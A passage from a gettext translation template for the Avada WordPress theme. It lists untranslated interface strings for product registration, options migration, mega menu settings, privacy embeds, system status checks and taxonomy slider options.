includes/class-avada-admin.php:1322 msgid "Avada portfolio tag base" msgstr "" #: includes/class-avada-admin.php:1333 msgid "Avada FAQ category base" msgstr "" #: includes/class-avada-admin.php:1485 #: includes/lib/inc/custom-icons/class-fusion-custom-icon-set.php:540 msgid "Download" msgstr "" #: includes/class-avada-admin.php:1486 msgid "General Data" msgstr "" #: includes/class-avada-admin.php:1489 #. translators: The current step label. msgid "Currently Processing: %s" msgstr "" #: includes/class-avada-admin.php:1491 #. translators: The current step label. msgid "Currently Removing: %s" msgstr "" #: includes/class-avada-admin.php:1492 #: includes/lib/inc/importer/class-wxr-importer.php:513 msgid "The file does not exist" msgstr "" #: includes/class-avada-admin.php:1494 #. translators: URL. msgid "" "The server couldn't be reached. Please check for wp_remote_get on the System Status page." msgstr "" #: includes/class-avada-admin.php:1495 #: includes/lib/inc/fusion-app/helpers.php:613 msgid "" "The import process has timed out, but already imported steps have been " "saved. Click \"continue\", and the importer will attempt to complete the " "remaining steps of the import process." msgstr "" #: includes/class-avada-admin.php:1496 msgid "" "Removing prebuilt website content will remove ALL previously imported " "content from this prebuilt website and restore your site to the state it " "was in before this prebuilt content was imported." msgstr "" #: includes/class-avada-admin.php:1497 msgid "" "Avada Builder Plugin can only be installed and activated if Avada Core " "plugin is at version 3.0 or higher. Please update Avada Core first." msgstr "" #: includes/class-avada-admin.php:1499 #. translators: URL. msgid "" "This plugin can only be installed or updated, after you have successfully " "completed the Avada product registration on the Dashboard Welcome tab." msgstr "" #: includes/class-avada-admin.php:1500 msgid "Plugin install failed. Please try Again." msgstr "" #: includes/class-avada-admin.php:1502 msgid "Please wait, this may take a minute..." msgstr "" #: includes/class-avada-admin.php:1705 msgid "Avada Product Registration Needs To Be Updated" msgstr "" #: includes/class-avada-admin.php:1706 msgid "Avada Registration Q and A" msgstr "" #: includes/class-avada-admin.php:1712 #: tribe-events/pro/widgets/countdown-widget.php:21 msgid "days" msgstr "" #: includes/class-avada-admin.php:1712 msgid "day" msgstr "" #: includes/class-avada-admin.php:1713 #: tribe-events/pro/widgets/countdown-widget.php:25 msgid "hours" msgstr "" #: includes/class-avada-admin.php:1713 msgid "hour" msgstr "" #: includes/class-avada-admin.php:1721 #. translators: The link. msgid "" "To receive further product updates, the registration has to be updated " "using your Avada purchase code. Updates, using your Envato token will " "continue to work for a limited period of time. The time at which this " "support will end can be found below. For more information please read the " "%s." msgstr "" #: includes/class-avada-admin.php:1724 #. translators: The remaining time. msgid "Updates with the token will stop working in %s." msgstr "" #: includes/class-avada-admin.php:1727 #. translators: The link. msgid "" "To receive further product updates, the registration has to be updated " "using your Avada purchase code. The grace period for updates using the " "Envato token has ended. Please complete registration in order to receive " "automatic updates, plugin installs and prebuilt website imports. For more " "information please read the %s." msgstr "" #: includes/class-avada-admin.php:1730 #. translators: The expiry date. msgid "Token updates expired on %s." msgstr "" #: includes/class-avada-admin.php:1732 msgid "Update Registration" msgstr "" #: includes/class-avada-admin.php:1794 includes/class-avada-admin.php:1809 #: includes/options/search.php:561 msgid "Categories" msgstr "" #: includes/class-avada-admin.php:1795 msgid "Skills" msgstr "" #: includes/class-avada-admin.php:1796 includes/options/search.php:562 msgid "Tags" msgstr "" #: includes/class-avada-avadaredux-migration.php:131 msgid "Preparing to run Upgrade" msgstr "" #: includes/class-avada-avadaredux-migration.php:135 msgid "Slider controls" msgstr "" #: includes/class-avada-avadaredux-migration.php:139 msgid "Checkbox & Switch controls" msgstr "" #: includes/class-avada-avadaredux-migration.php:143 msgid "Dimension controls" msgstr "" #: includes/class-avada-avadaredux-migration.php:149 msgid "Social Networks" msgstr "" #: includes/class-avada-avadaredux-migration.php:153 msgid "HEX to RGBA colors conversion" msgstr "" #: includes/class-avada-avadaredux-migration.php:157 msgid "HEX colors" msgstr "" #: includes/class-avada-avadaredux-migration.php:161 msgid "Media Files" msgstr "" #: includes/class-avada-avadaredux-migration.php:165 msgid "Spacing Options" msgstr "" #: includes/class-avada-avadaredux-migration.php:169 #: includes/class-avada-avadaredux.php:182 #: includes/class-awb-global-typography.php:507 #: includes/options/typography.php:1189 includes/options/typography.php:1200 msgid "Custom Fonts" msgstr "" #: includes/class-avada-avadaredux-migration.php:174 #: includes/class-avada-avadaredux-migration.php:179 #. translators: %1$s, %2$s: Numbers. msgid "Typography Options (step %1$s of %2$s)" msgstr "" #: includes/class-avada-avadaredux-migration.php:183 msgid "Other Options" msgstr "" #: includes/class-avada-avadaredux.php:127 msgid "Avada Options have moved!" msgstr "" #: includes/class-avada-avadaredux.php:127 includes/metaboxes/metaboxes.php:312 msgid "Avada Options" msgstr "" #: includes/class-avada-avadaredux.php:149 #. translators: Number. msgid "Global Options have changed, redirecting you to the new page in %s seconds." msgstr "" #: includes/class-avada-block-editor.php:364 #: includes/lib/inc/widgets/class-fusion-widget-author.php:316 #: includes/metaboxes/tabs/tab_template.php:521 msgid "Small" msgstr "" #: includes/class-avada-block-editor.php:365 msgid "S" msgstr "" #: includes/class-avada-block-editor.php:370 #: includes/class-awb-setup-wizard.php:2011 includes/options/lightbox.php:153 msgid "Normal" msgstr "" #: includes/class-avada-block-editor.php:371 msgid "M" msgstr "" #: includes/class-avada-block-editor.php:376 #: includes/lib/inc/widgets/class-fusion-widget-author.php:318 #: includes/options/blog.php:137 includes/options/blog.php:168 #: includes/options/search.php:344 msgid "Large" msgstr "" #: includes/class-avada-block-editor.php:377 msgid "L" msgstr "" #: includes/class-avada-block-editor.php:382 #: includes/lib/inc/widgets/class-fusion-widget-author.php:319 msgid "XLarge" msgstr "" #: includes/class-avada-block-editor.php:383 msgid "XL" msgstr "" #: includes/class-avada-block-editor.php:388 msgid "Huge" msgstr "" #: includes/class-avada-block-editor.php:389 msgid "XXL" msgstr "" #: includes/class-avada-eventscalendar.php:265 #: includes/class-avada-eventscalendar.php:297 #: includes/class-avada-eventscalendar.php:329 #: includes/class-avada-woocommerce.php:2099 msgid "NOTE" msgstr "" #: includes/class-avada-eventscalendar.php:267 #. translators: EC Customizer notice. msgid "" "You can control the post title color from the Avada Global Options panel " "through the Events Primary Color Overlay " "Text Color setting. Avada has additional Event Calendar settings in Global Options." msgstr "" #: includes/class-avada-eventscalendar.php:299 #. translators: EC Customizer notice. msgid "" "You can control the photo background color from Avada's Global Options " "panel through the Grid Box Color " "setting. Avada has additional Event " "Calendar settings in Global Options." msgstr "" #: includes/class-avada-eventscalendar.php:331 #. translators: EC Customizer notice. msgid "" "You can control the calendar highlight color from Avada's Global Options " "panel through the Primary Color " "setting. Avada has additional Event " "Calendar settings in Global Options." msgstr "" #: includes/class-avada-head.php:276 #. Translators: 1: Author name; 2: Site name. msgid "%1$s, Author at %2$s" msgstr "" #: includes/class-avada-head.php:279 #. Translators: Site name. msgid " Authored by %s" msgstr "" #: includes/class-avada-init.php:252 includes/class-avada-init.php:254 #: includes/class-avada-init.php:256 includes/class-avada-init.php:258 #: includes/class-avada-init.php:260 #. translators: image size. msgid "Avada Grid %s" msgstr "" #: includes/class-avada-layout-bbpress.php:105 #. translators: Number. msgid "Post count: %s" msgstr "" #: includes/class-avada-layout-bbpress.php:138 search.php:30 msgid "Need a new search?" msgstr "" #: includes/class-avada-layout-bbpress.php:139 search.php:32 msgid "If you didn't find what you were looking for, try a new search!" msgstr "" #: includes/class-avada-megamenu-framework.php:98 #: templates/elasticslider.php:34 msgid "Loading..." msgstr "" #: includes/class-avada-megamenu-framework.php:149 msgid "Flyout Menu Background Image" msgstr "" #: includes/class-avada-megamenu-framework.php:150 msgid "" "Select an image for the flyout menu background. The image will be shown " "full screen when hovering the corresponding menu item." msgstr "" #: includes/class-avada-megamenu-framework.php:152 msgid "Legacy Mega Menu / Flyout Menu Background Image" msgstr "" #: includes/class-avada-megamenu-framework.php:153 msgid "" "Select an image for the legacy mega menu or flyout menu background.
    Legacy Mega Menu: In case of legacy mega menu, if left " "empty, the Main Menu Dropdown Background Color will be used. Each mega menu " "column can have its own background image, or you can have one image that " "spreads across the entire mega menu width.
    Flyout " "Menu: When used in the flyout menu, the image will be shown full " "screen when hovering the corresponding menu item." msgstr "" #: includes/class-avada-megamenu-framework.php:158 #: includes/lib/inc/fusion-app/class-fusion-app.php:1009 #: includes/metaboxes/metaboxes.php:703 #: includes/metaboxes/tabs/tab_template.php:163 msgid "Mega Menu" msgstr "" #: includes/class-avada-megamenu-framework.php:161 #. translators: %s: URL. msgid "" "Select a pre-created mega menu item from the Avada Library, that should be " "displayed. To create a new mega menu, visit the Avada Library. Mega menus are disabled on menus in " "mobile mode and are replaced by sub-menu items that have been added to a " "parent mega menu item." msgstr "" #: includes/class-avada-megamenu-framework.php:168 msgid "Menu Button" msgstr "" #: includes/class-avada-megamenu-framework.php:170 msgid "Default Style" msgstr "" #: includes/class-avada-megamenu-framework.php:171 msgid "Button Small" msgstr "" #: includes/class-avada-megamenu-framework.php:172 msgid "Button Medium" msgstr "" #: includes/class-avada-megamenu-framework.php:173 msgid "Button Large" msgstr "" #: includes/class-avada-megamenu-framework.php:174 msgid "Button xLarge" msgstr "" #: includes/class-avada-megamenu-framework.php:176 msgid "" "Select to use normal text (default) for the parent level menu item, or a " "button. Button styles are controlled in Global Options > Avada Builder " "Elements." msgstr "" #: includes/class-avada-megamenu-framework.php:183 msgid "Icon Select" msgstr "" #: includes/class-avada-megamenu-framework.php:184 msgid "" "Select an icon for your menu item. For top-level menu items, icon styles " "can be controlled in the Menu element." msgstr "" #: includes/class-avada-megamenu-framework.php:190 msgid "Image Thumbnail" msgstr "" #: includes/class-avada-megamenu-framework.php:191 msgid "" "Select an image to use as a thumbnail for the menu item. For top-level " "items, the size of the thumbnail can be controlled in the Menu element." msgstr "" #: includes/class-avada-megamenu-framework.php:196 msgid "Icon/Thumbnail Only" msgstr "" #: includes/class-avada-megamenu-framework.php:197 msgid "" "Turn on to only show the icon/image thumbnail while hiding the menu text. " "Important: this does not apply to the mobile menu." msgstr "" #: includes/class-avada-megamenu-framework.php:208 msgid "Menu Highlight Label" msgstr "" #: includes/class-avada-megamenu-framework.php:209 msgid "Set the highlight label for menu item." msgstr "" #: includes/class-avada-megamenu-framework.php:216 #. translators: "" tags. msgid "" "%1$sMenu Highlight Label Background Color%2$s%3$sCart Counter Background " "Color%4$s" msgstr "" #: includes/class-avada-megamenu-framework.php:218 #. translators: %1$s: tag. %2$s: "TGlobal Options" link. %3$s: #. tag. %4$s: tag. %5$s: tag. msgid "" "%1$sSet the highlight label background color. To set a border radius, visit " "%2$s and modify the Menu Highlight Label Radius option.%3$s%4$s Set cart " "counter background color.%5$s" msgstr "" #: includes/class-avada-megamenu-framework.php:232 #. translators: "" tags. msgid "%1$sMenu Highlight Label Text Color%2$s%3$sCart Counter Text Color%4$s" msgstr "" #: includes/class-avada-megamenu-framework.php:234 #. translators: "" tags. msgid "" "%1$sSet the highlight label text color.%2$s%3$sSet the cart counter text " "color.%4$s" msgstr "" #: includes/class-avada-megamenu-framework.php:248 #. translators: "" tags. msgid "%1$sMenu Highlight Label Border Color%2$s%3$sCart Counter Border Color %4$s" msgstr "" #: includes/class-avada-megamenu-framework.php:250 #. translators: "" tags. msgid "" "%1$sSet the highlight label border color.%2$s%3$sSet the cart counter " "border color.%4$s" msgstr "" #: includes/class-avada-megamenu-framework.php:263 msgid "Modal Window Anchor" msgstr "" #: includes/class-avada-megamenu-framework.php:264 msgid "Add the class name of the modal window you want to open on menu item click." msgstr "" #: includes/class-avada-megamenu-framework.php:291 msgid "Avada Special Menu Items" msgstr "" #: includes/class-avada-megamenu-framework.php:303 msgid "" "IMPORTANT NOTE: These items only work in Avada Builder " "Menu element." msgstr "" #: includes/class-avada-megamenu-framework.php:310 msgid "Log Out" msgstr "" #: includes/class-avada-megamenu-framework.php:311 msgid "Sliding Bar Toggle" msgstr "" #: includes/class-avada-megamenu-framework.php:312 msgid "Off Canvas Toggle" msgstr "" #: includes/class-avada-megamenu-framework.php:315 msgid "WooCommerce Cart" msgstr "" #: includes/class-avada-megamenu-framework.php:316 msgid "WooCommerce My Account" msgstr "" #: includes/class-avada-megamenu-framework.php:339 #: includes/class-avada-woocommerce-variations.php:135 msgid "Select all" msgstr "" #: includes/class-avada-megamenu-framework.php:342 msgid "Add to menu" msgstr "" #: includes/class-avada-megamenu-framework.php:382 msgid "Select Off Canvas" msgstr "" #: includes/class-avada-megamenu-framework.php:393 msgid "Important Note" msgstr "" #: includes/class-avada-megamenu-framework.php:394 msgid "" "Avada Special Menu Items can only be used as top-level items. Please move " "the item to top-level to see the available options." msgstr "" #: includes/class-avada-megamenu-framework.php:407 msgid "Special Link Type" msgstr "" #: includes/class-avada-megamenu-framework.php:408 msgid "Select to add a special link type." msgstr "" #: includes/class-avada-megamenu-framework.php:415 msgid "Show WooCommerce Cart Counter" msgstr "" #: includes/class-avada-megamenu-framework.php:416 msgid "Turn on to show the cart products counter." msgstr "" #: includes/class-avada-megamenu-framework.php:434 msgid "Cart Counter Display" msgstr "" #: includes/class-avada-megamenu-framework.php:435 msgid "" "Select the display style you would like for the cart counter. Badge " "display will be smaller and positioned on the top corner of the menu item. " "Note: badge styling will only be used in the menu element." msgstr "" #: includes/class-avada-megamenu-framework.php:440 #: includes/class-avada-megamenu-framework.php:506 #: includes/options/forms.php:405 msgid "Inline" msgstr "" #: includes/class-avada-megamenu-framework.php:441 msgid "Badge" msgstr "" #: includes/class-avada-megamenu-framework.php:458 msgid "Show WooCommerce Empty Cart Counter" msgstr "" #: includes/class-avada-megamenu-framework.php:459 msgid "Turn on to show the cart counter when cart is empty." msgstr "" #: includes/class-avada-megamenu-framework.php:482 msgid "Show WooCommerce Cart Contents Dropdown" msgstr "" #: includes/class-avada-megamenu-framework.php:483 msgid "Turn on to show the cart contents dropdown." msgstr "" #: includes/class-avada-megamenu-framework.php:501 msgid "Search-Form Mode" msgstr "" #: includes/class-avada-megamenu-framework.php:502 msgid "Select how your search-form will be displayed." msgstr "" #: includes/class-avada-megamenu-framework.php:507 msgid "Dropdown" msgstr "" #: includes/class-avada-megamenu-framework.php:508 #: includes/metaboxes/metaboxes.php:687 #: includes/metaboxes/tabs/tab_off_canvas_design.php:168 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:20 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:26 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:240 msgid "Overlay" msgstr "" #: includes/class-avada-megamenu-framework.php:522 msgid "Select off canvas to show when click on menu item." msgstr "" #: includes/class-avada-megamenu-framework.php:551 msgid "Select Widget Area" msgstr "" #: includes/class-avada-megamenu-framework.php:562 #: includes/options/advanced.php:68 includes/options/menu.php:2870 msgid "Legacy Mega Menu" msgstr "" #: includes/class-avada-megamenu-framework.php:567 msgid "" "Turn on to enable the legacy mega menu. Note this will only work for the " "main menu." msgstr "" #: includes/class-avada-megamenu-framework.php:580 msgid "Legacy Mega Menu Wrapper Width" msgstr "" #: includes/class-avada-megamenu-framework.php:582 msgid "Max Width" msgstr "" #: includes/class-avada-megamenu-framework.php:583 msgid "Fit Content" msgstr "" #: includes/class-avada-megamenu-framework.php:586 #. translators: %s: "Global Options" link. msgid "" "Controls the width of legacy mega menu. In case of max width, it is taken " "from the site width option in %s. Note this overrides the column width " "option." msgstr "" #: includes/class-avada-megamenu-framework.php:604 msgid "Legacy Mega Menu Number of Columns" msgstr "" #: includes/class-avada-megamenu-framework.php:606 #: includes/metaboxes/tabs/tab_off_canvas_design.php:115 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:177 #: includes/options/advanced.php:488 includes/options/extra.php:370 #: includes/options/forms.php:287 includes/options/portfolio.php:78 msgid "Auto" msgstr "" #: includes/class-avada-megamenu-framework.php:614 msgid "Select the number of columns you want to use." msgstr "" #: includes/class-avada-megamenu-framework.php:632 msgid "Legacy Mega Menu Column Width" msgstr "" #: includes/class-avada-megamenu-framework.php:633 msgid "Set the width of the column. In percentage, ex 60%." msgstr "" #: includes/class-avada-megamenu-framework.php:655 msgid "Legacy Mega Menu Column Title" msgstr "" #: includes/class-avada-megamenu-framework.php:660 msgid "" "Turn on to display item as linked column title. Turn off to display item as " "normal mega menu entry." msgstr "" #: includes/class-avada-megamenu-framework.php:678 msgid "Legacy Mega Menu Widget Area" msgstr "" #: includes/class-avada-megamenu-framework.php:680 msgid "Select a widget area to be used as the content for the column." msgstr "" #: includes/class-avada-megamenu-framework.php:938 #: includes/lib/inc/fusion-app/helpers.php:587 msgid "Add Custom Icon Set" msgstr "" #: includes/class-avada-megamenu-framework.php:940 #: includes/lib/inc/fusion-app/helpers.php:373 #: includes/metaboxes/metaboxes.php:1976 msgid "Search Icons" msgstr "" #: includes/class-avada-megamenu-framework.php:1030 #: includes/lib/inc/fusion-app/helpers.php:296 msgid "Edit" msgstr "" #: includes/class-avada-megamenu-framework.php:1032 #: includes/class-avada-taxonomy-meta.php:1165 #: includes/lib/inc/fusion-app/helpers.php:294 msgid "Upload Image" msgstr "" #: includes/class-avada-megamenu-framework.php:1054 #: includes/class-avada-megamenu-framework.php:1059 msgid "Avada Menu Options" msgstr "" #: includes/class-avada-megamenu-framework.php:1063 #: includes/lib/inc/class-awb-widget-style.php:420 #: includes/lib/inc/fusion-app/helpers.php:212 #: includes/lib/inc/fusion-app/templates/front-end-toolbar.php:83 msgid "Save" msgstr "" #: includes/class-avada-megamenu-framework.php:1161 msgid "Search ..." msgstr "" #: includes/class-avada-megamenu-framework.php:1222 msgid "Sorry, no posts matched your criteria." msgstr "" #: includes/class-avada-migrate.php:240 msgid "Avada Global Options Migration" msgstr "" #: includes/class-avada-migrate.php:398 #. translators: Version number. msgid "" "We have an amazing new update in store for you! Avada %s includes our " "completely new Global Options Panel and the brand new Avada Builder. To " "enjoy the full experience, two primary conversion steps need to be " "performed. First your Global Options database entries need to be converted " "(sequentially for each language, if you have a multi-lingual site). In a " "second step your shortcodes will be converted for the new builder. Thank " "you for choosing Avada!" msgstr "" #: includes/class-avada-migrate.php:401 #. translators: Version number. msgid "" "We have an amazing new update in store for you! Avada %s includes our " "completely new Global Options Panel and the brand new Avada Builder. To " "enjoy the full experience, two primary conversion steps need to be " "performed. First your Global Options database entries need to be converted. " "In a second step your shortcodes will be converted for the new builder. " "Thank you for choosing Avada!" msgstr "" #: includes/class-avada-migrate.php:407 msgid "Updating Avada Database Entries" msgstr "" #: includes/class-avada-migrate.php:411 #. translators: Language label. msgid "Currently converting language: %s" msgstr "" #: includes/class-avada-migrate.php:414 msgid "Done!" msgstr "" #: includes/class-avada-migrate.php:416 msgid "Almost there..." msgstr "" #: includes/class-avada-migrate.php:418 msgid "Halfway there... Patience Padawan, Patience." msgstr "" #: includes/class-avada-migrate.php:420 msgid "This may take a few minutes, please wait." msgstr "" #: includes/class-avada-migrate.php:428 #. translators: %1$s, %2$s: Numbers. msgid "Converting language: %1$s of %2$s." msgstr "" #: includes/class-avada-migrate.php:434 #. translators: %1$s, %2$s: Numbers. msgid "Updating Avada Database options: step %1$s of %2$s." msgstr "" #: includes/class-avada-migrate.php:452 msgid "" "Congratulations, Global Options database enrties were successfully " "converted." msgstr "" #: includes/class-avada-migrate.php:453 msgid "For best experience, please clear your browser cache once." msgstr "" #: includes/class-avada-migrate.php:454 msgid "Dynamic-CSS caches have been auto reset." msgstr "" #: includes/class-avada-migrate.php:461 msgid "Take Me To Shortcode Conversion" msgstr "" #: includes/class-avada-migrate.php:467 #: includes/class-fusion-builder-migrate.php:872 #. translators: (heart) icon. #. translators: Icon. msgid "Created with %s" msgstr "" #: includes/class-avada-multiple-featured-images.php:58 #. translators: Number. msgid "Featured image %s" msgstr "" #: includes/class-avada-multiple-featured-images.php:60 #. translators: Number. msgid "Set featured image %s" msgstr "" #: includes/class-avada-multiple-featured-images.php:62 #. translators: Number. msgid "Remove featured image %s" msgstr "" #: includes/class-avada-nav-walker-megamenu.php:103 #. translators: %s: title of menu item which is invalid msgid "%s (Invalid)" msgstr "" #: includes/class-avada-nav-walker-megamenu.php:107 #. translators: %s: title of menu item in draft status msgid "%s (Pending)" msgstr "" #: includes/class-avada-nav-walker-megamenu.php:124 msgid "sub item" msgstr "" #: includes/class-avada-nav-walker-megamenu.php:163 msgid "Move up" msgstr "" #: includes/class-avada-nav-walker-megamenu.php:165 msgid "Move down" msgstr "" #: includes/class-avada-nav-walker-megamenu.php:167 msgid "Edit Menu Item" msgstr "" #: includes/class-avada-nav-walker-megamenu.php:183 msgid "Navigation Label" msgstr "" #: includes/class-avada-nav-walker-megamenu.php:189 msgid "Title Attribute" msgstr "" #: includes/class-avada-nav-walker-megamenu.php:196 msgid "Open link in a new window/tab" msgstr "" #: includes/class-avada-nav-walker-megamenu.php:201 msgid "CSS Classes (optional)" msgstr "" #: includes/class-avada-nav-walker-megamenu.php:207 msgid "Link Relationship (XFN)" msgstr "" #: includes/class-avada-nav-walker-megamenu.php:215 msgid "" "The description will be displayed in the menu if the current theme supports " "it." msgstr "" #: includes/class-avada-nav-walker-megamenu.php:222 msgid "Move" msgstr "" #: includes/class-avada-nav-walker-megamenu.php:223 msgid "Up one" msgstr "" #: includes/class-avada-nav-walker-megamenu.php:224 msgid "Down one" msgstr "" #: includes/class-avada-nav-walker-megamenu.php:227 msgid "To the top" msgstr "" #: includes/class-avada-nav-walker-megamenu.php:234 #. translators: Title (with link). msgid "Original: %s" msgstr "" #: includes/class-avada-page-options.php:252 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/extensions/import_export/extension_import_export.php:121 msgid "Import / Export" msgstr "" #: includes/class-avada-page-options.php:407 #. translators: Number. msgid "Custom page options %d " msgstr "" #: includes/class-avada-privacy-embeds.php:336 msgid "YouTube" msgstr "" #: includes/class-avada-privacy-embeds.php:337 #: includes/metaboxes/options/options_slide.php:28 msgid "Vimeo" msgstr "" #: includes/class-avada-privacy-embeds.php:338 msgid "SoundCloud" msgstr "" #: includes/class-avada-privacy-embeds.php:339 #: includes/options/social_media.php:832 msgid "Facebook" msgstr "" #: includes/class-avada-privacy-embeds.php:340 msgid "Flickr" msgstr "" #: includes/class-avada-privacy-embeds.php:341 #: includes/options/social_media.php:833 msgid "X" msgstr "" #: includes/class-avada-privacy-embeds.php:342 msgid "Google Maps" msgstr "" #: includes/class-avada-privacy-embeds.php:343 msgid "Instagram" msgstr "" #: includes/class-avada-privacy-embeds.php:344 templates/privacy-bar.php:88 msgid "Tracking Cookies" msgstr "" #: includes/class-avada-privacy-embeds.php:1038 #. translators: The placeholder label (embed-type). msgid "For privacy reasons %s needs your permission to be loaded." msgstr "" #: includes/class-avada-privacy-embeds.php:1044 #. translators: The link to the privacy page (embed-type). msgid "For more details, please see our %s." msgstr "" #: includes/class-avada-privacy-embeds.php:1051 msgid "I Accept" msgstr "" #: includes/class-avada-pwa.php:184 #: includes/class-awb-performance-wizard.php:1487 msgid "Fonts" msgstr "" #: includes/class-avada-pwa.php:198 msgid "Scripts" msgstr "" #: includes/class-avada-pwa.php:212 msgid "Styles" msgstr "" #: includes/class-avada-scripts.php:749 msgid "No search results match your query. Please try again" msgstr "" #: includes/class-avada-scripts.php:796 msgid "Go to..." msgstr "" #: includes/class-avada-scripts.php:797 msgid "Shopping Cart" msgstr "" #: includes/class-avada-scripts.php:799 #: includes/lib/inc/class-fusion-nav-walker.php:926 #. Translators: The submenu title. #. Translators: The menu item title. msgid "Open submenu of %s" msgstr "" #: includes/class-avada-scripts.php:801 #. Translators: The submenu title. msgid "Close submenu of %s" msgstr "" #: includes/class-avada-sermon-manager.php:45 #. translators: the Date. msgid "Date: %s" msgstr "" #: includes/class-avada-sermon-manager.php:53 msgid "Bible Text: " msgstr "" #: includes/class-avada-sermon-manager.php:55 msgid "Series: " msgstr "" #: includes/class-avada-sermon-manager.php:73 msgid "Topics: " msgstr "" #: includes/class-avada-system-status.php:58 msgid "API type missing." msgstr "" #: includes/class-avada-system-status.php:70 msgid "Tested API is working properly." msgstr "" #: includes/class-avada-system-status.php:95 #. translators: HTTP response code msgid "Server responded with unauthorized response code: %1$s. %2$s" msgstr "" #: includes/class-avada-system-status.php:98 #. translators: HTTP response code msgid "Server responded with redirection response code: %1$s. %2$s" msgstr "" #: includes/class-avada-system-status.php:101 #. translators: HTTP response code msgid "Error occured while checking API status. Response code: %1$s. %2$s" msgstr "" #: includes/class-avada-system-status.php:104 #. translators: HTTP response code msgid "" "Internal server error occured while checking API status. Response code: " "%1$s. %2$s" msgstr "" #: includes/class-avada-system-status.php:107 #. translators: HTTP response code msgid "Something went wrong while checking API status. Response code: %1$s. %2$s" msgstr "" #: includes/class-avada-system-status.php:142 msgid "Creating database tables failed." msgstr "" #: includes/class-avada-system-status.php:145 #: includes/class-avada-system-status.php:177 msgid "Security check failed." msgstr "" #: includes/class-avada-system-status.php:159 msgid "Database tables are created successfully." msgstr "" #: includes/class-avada-system-status.php:174 msgid "This is not a multisite." msgstr "" #: includes/class-avada-system-status.php:192 msgid "Global options were successfully copied across the network." msgstr "" #: includes/class-avada-taxonomy-meta.php:146 #: includes/class-avada-taxonomy-meta.php:153 msgid "Avada Taxonomy Options" msgstr "" #: includes/class-avada-taxonomy-meta.php:164 #. translators: Additional description (defaults). msgid "" "Select an featured image to represent the term. This can then be used in " "dynamic data and post cards." msgstr "" #: includes/class-avada-taxonomy-meta.php:181 msgid "Slider Type " msgstr "" #: includes/class-avada-taxonomy-meta.php:185 #: includes/metaboxes/tabs/tab_sliders.php:44 msgid "Select the type of slider that displays." msgstr "" #: includes/class-avada-taxonomy-meta.php:199 msgid "Select LayerSlider " msgstr "" #: includes/class-avada-taxonomy-meta.php:203 #: includes/class-avada-taxonomy-meta.php:230 #: includes/class-avada-taxonomy-meta.php:257 #: includes/class-avada-taxonomy-meta.php:284 #: includes/metaboxes/tabs/tab_sliders.php:63 #: includes/metaboxes/tabs/tab_sliders.php:89 #: includes/metaboxes/tabs/tab_sliders.php:114 #: includes/metaboxes/tabs/tab_sliders.php:139 msgid "Select the unique name of the slider." msgstr "" #: includes/class-avada-taxonomy-meta.php:226 msgid "Select Avada Slider " msgstr "" #: includes/class-avada-taxonomy-meta.php:253 #: includes/metaboxes/tabs/tab_sliders.php:113 msgid "Select Slider Revolution Slider" msgstr "" #: includes/class-avada-taxonomy-meta.php:280 #: includes/metaboxes/tabs/tab_sliders.php:138 msgid "Select Elastic Slider" msgstr "" #: includes/class-avada-taxonomy-meta.php:306 #: includes/metaboxes/tabs/tab_sliders.php:162 includes/options/header.php:53 #: includes/options/header.php:278 msgid "Slider Position" msgstr "" #: includes/class-avada-taxonomy-meta.php:309 #: includes/metaboxes/tabs/tab_form_appearance.php:61 #: includes/metaboxes/tabs/tab_form_steps.php:57 #: includes/metaboxes/tabs/tab_form_steps.php:818 #: includes/metaboxes/tabs/tab_sliders.php:167 includes/options/contact.php:79 #: includes/options/events_calendar.php:59 includes/options/header.php:59 #: includes/options/header.php:284 msgid "Below" msgstr "" #: includes/class-avada-taxonomy-meta.php:310 #: includes/metaboxes/tabs/tab_form_appearance.php:60 #: includes/metaboxes/tabs/tab_form_steps.php:56 #: includes/metaboxes/tabs/tab_form_steps.php:817 #: includes/metaboxes/tabs/tab_sliders.php:168 includes/options/blog.php:812 #: includes/options/contact.php:78 includes/options/events_calendar.php:58 #: includes/options/header.php:60 includes/options/header.php:285 msgid "Above" msgstr "" #: includes/class-avada-taxonomy-meta.php:315 #: includes/metaboxes/tabs/tab_sliders.php:164 #. translators: Additional description (defaults). msgid "" "Select if the slider shows below or above the header. Only works for top " "header position. %s" msgstr "" #: includes/class-avada-taxonomy-meta.php:331 #: includes/metaboxes/tabs/tab_sliders.php:224 msgid "Slider Visibility" msgstr "" #: includes/class-avada-taxonomy-meta.php:333 #: includes/metaboxes/tabs/tab_sliders.php:226 #. translators: Global Options link. msgid "" "Choose to show or hide the slider on small, medium or large screens. You " "can choose more than one at a time. Each of the 3 sizes has a custom width " "setting on the Responsive tab in the. %s." msgstr "" #: includes/class-avada-taxonomy-meta.php:335 #: includes/metaboxes/tabs/tab_sliders.php:228 #: includes/options/responsive.php:234 msgid "Small Screen" msgstr "" #: includes/class-avada-taxonomy-meta.php:336 #: includes/metaboxes/tabs/tab_sliders.php:229 #: includes/options/responsive.php:263 msgid "Medium Screen" msgstr "" #: includes/class-avada-taxonomy-meta.php:337 #: includes/metaboxes/tabs/tab_sliders.php:230 #: includes/options/responsive.php:292 msgid "Large Screen" msgstr "" #: includes/class-avada-taxonomy-meta.php:367 includes/options/layout.php:364 msgid "Page Content Padding" msgstr "" #: includes/class-avada-taxonomy-meta.php:369 #: includes/metaboxes/tabs/tab_content.php:161 #. translators: Additional description (defaults). msgid "In pixels ex: 20px. %s" msgstr "" #: includes/class-avada-taxonomy-meta.php:391 #: includes/metaboxes/tabs/tab_template.php:445 #: includes/options/header.php:1032 msgid "Header Background Color" msgstr "" #: includes/class-avada-taxonomy-meta.php:393 #: includes/metaboxes/tabs/tab_header.php:99 #. translators: Additional description (defaults). msgid "" "Controls the background color for the header. Hex code or rgba value, ex: " "#000. %s" msgstr "" #: includes/class-avada-taxonomy-meta.php:428 #: includes/metaboxes/tabs/tab_header.php:111 includes/options/menu.php:2362 msgid "Mobile Header Background Color" msgstr "" #: includes/class-avada-taxonomy-meta.php:430 #: includes/metaboxes/tabs/tab_header.php:114 #. translators: Additional description (defaults). msgid "" "Controls the background color for the header on mobile devices. Hex code or " "rgba value, ex: #000. %s" msgstr "" #: includes/class-avada-taxonomy-meta.php:445 #: includes/metaboxes/metaboxes.php:672 #: includes/metaboxes/tabs/tab_pagetitlebar.php:21 #: includes/metaboxes/tabs/tab_pagetitlebar.php:142 #: includes/options/page_title_bar.php:34 #: includes/options/page_title_bar.php:64 #. translators: The edit link. Text of link is the title. msgid "Page Title Bar" msgstr "" #: 